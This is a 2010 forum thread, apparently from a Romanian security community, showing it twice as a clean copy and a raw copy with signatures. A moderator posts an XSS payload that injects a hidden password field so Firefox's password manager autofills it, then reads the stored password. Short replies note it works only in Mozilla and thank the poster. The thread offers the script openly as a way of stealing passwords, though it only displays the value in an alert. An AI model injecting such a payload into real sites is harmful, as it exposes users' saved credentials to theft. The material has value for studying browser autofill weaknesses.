XSS demo for stealing passwords from the Firefox password manager

begood · 03-16-2010, 07:06 AM

Similar technique may work for Internet Explorer, Safari, Chrome, Opera, etc. Your mileage may vary.
1. Save a username / password in Firefox's password manager by filling out the form below with fake data.

2. Clicking "Remember" when asked.

3. Then click back.

Code:

THE XSS EXPLOIT PAYLOAD 

<script> 
document.write('<form><input id=p type=password style=visibility:hidden></form>'); 
setTimeout('alert("Password: " + document.getElementById("p").value)', 100); 
</script>

look here :
[Doar userii inregistrati pot vedea linkurile. ]

ak4d3a · 03-16-2010, 08:14 AM

chrome://browser/content/browser.xul
merge doar la mozzilla
[Doar userii inregistrati pot vedea linkurile. ]

AlStar · 03-16-2010, 04:39 PM

Folositor. Thanks.

03-16-2010, 07:06 AM	#1 (permalink)
begood Moderator Cultul betivilor Join Date: Jun 2008 Posts: 2,634 Rep Power: 5	XSS demo for stealing passwords from the Firefox password manager hotel regim hotelier hotel yahoo domain Similar technique may work for Internet Explorer, Safari, Chrome, Opera, etc. Your mileage may vary. 1. Save a username / password in Firefox's password manager by filling out the form below with fake data. 2. Clicking "Remember" when asked. 3. Then click back. Code: THE XSS EXPLOIT PAYLOAD <script> document.write('<form><input id=p type=password style=visibility:hidden></form>'); setTimeout('alert("Password: " + document.getElementById("p").value)', 100); </script> look here : [Doar userii inregistrati pot vedea linkurile. ] __________________ “The problem of viruses is temporary and will be solved in two years.” – John McAfee, 1988 Blog.

03-16-2010, 08:14 AM	#2 (permalink)
ak4d3a Registered user Bautor de vin Join Date: Jan 2010 Location: constanta Posts: 55 Rep Power: 1	chrome://browser/content/browser.xul merge doar la mozzilla [Doar userii inregistrati pot vedea linkurile. ] __________________

03-16-2010, 04:39 PM	#3 (permalink)
AlStar Registered user Bautor de whiskey Join Date: Feb 2009 Location: Galati Posts: 473 Rep Power: 2	Folositor. Thanks. __________________ Romanian Security Team